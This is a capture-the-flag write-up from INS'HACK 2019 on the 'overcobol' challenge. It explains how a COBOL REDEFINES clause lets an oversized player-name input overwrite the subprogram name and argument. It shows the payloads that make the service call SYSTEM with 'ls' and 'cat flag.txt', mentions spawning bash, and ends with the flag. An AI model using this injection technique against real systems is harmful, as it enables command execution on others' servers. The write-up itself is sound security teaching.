ins'hack ctf – overcobol
(Part of a series of writeups from INS'HACK CTF 2019.)
The challenge text reads:
I recently discover this file called
Test.CBL
. It seems to be a small service aiming at storing the result of babyfoot matchs between interns at the INSHACK BANK. Maybe you can break into the MAINFRAME.You can found the source code here and you can connect to the MAINFRAM here:
ssh user@overcobol.ctf.insecurity-insa.fr
See Test.CBL for the source.
Before diving into the code, let's connect to the service and see what's going on.
################################
# WELCOME IN THE COBOL GAME ! #
################################
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 1
PLAYER1: John
PLAYER2: Alice
SCORE1: 1
SCORE2: 2
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 2
John vs Alice : 01-02
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
send matchs
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 4
Connection to overcobol.ctf.insecurity-insa.fr closed.
We can register matches, view them, and send them to the "cloud".
The cloud sounds like a good entry point.
SEND-CLOUD.
IF SUBPRGNAME = SPACE
MOVE "send" TO SUBPRGNAME
MOVE "matchs" TO SUBPRGARG
END-IF
DISPLAY SUBPRGNAME " " SUBPRGARG
CALL SUBPRGNAME USING SUBPRGARG.
END-SEND-CLOUD.
EXIT.
If we can inject our own input into SUBPRGNAME
or SUBPRGARG
then we can CALL
our own code. But how?
01 SUBPRG.
02 TMPNAME PIC X(10).
02 TMPSCORE PIC 99.
02 SUBPRGARG PIC X(20).
02 SUBPRGNAME PIC X(20).
01 TMPNAME2 REDEFINES SUBPRG PIC X(40).
I'm not particularly familiar with COBOL but this TMPNAME2 REDEFINES SUBPRG
sticks out. It redefines it, does it?
TMPNAME2
is filled when entering player 2's name.
DISPLAY "PLAYER2: " NO ADVANCING
ACCEPT TMPNAME2
MOVE TMPNAME TO PLAYER2(NBMATCH + 1)
Inject enough bytes into the prompt for PLAYER2:
and you will overwrite TMPNAME
, TMPSCORE
, SUBPRGARG
, and SUBPRGNAME
.
We know we want to manipulate the last two. Rather than calculate byte offsets, we can take a shortcut and feed it a long known string.
What do you want to do ? 1
PLAYER1: A
PLAYER2: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
SCORE1: 1
SCORE2: 1
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
ghijklmn MNOPQRSTUVWXYZabcdef
libcob: Cannot find module 'ghijklmn'
Connection to overcobol.ctf.insecurity-insa.fr closed.
libcob: Cannot find module 'ghijklmn'
is what we want to see. So, whichever command we want to run goes in place of ghijklmn
and parameters in place of MNOPQRSTUVWXYZabcdef
.
XXXXXXXXXXXXls SYSTEM
XXXXXXXXXXXXcat flag.txt SYSTEM
You could also drop yourself directly into a shell by executing bash
.
Let's connect one final time, inject our command, and "send it to the cloud".
################################
# WELCOME IN THE COBOL GAME ! #
################################
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 1
PLAYER1: 1
PLAYER2: XXXXXXXXXXXXcat flag.txt SYSTEM
SCORE1: 1
SCORE2: 1
1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
SYSTEM cat flag.txt
INSA{Cobol_and_MainFrame_4ever}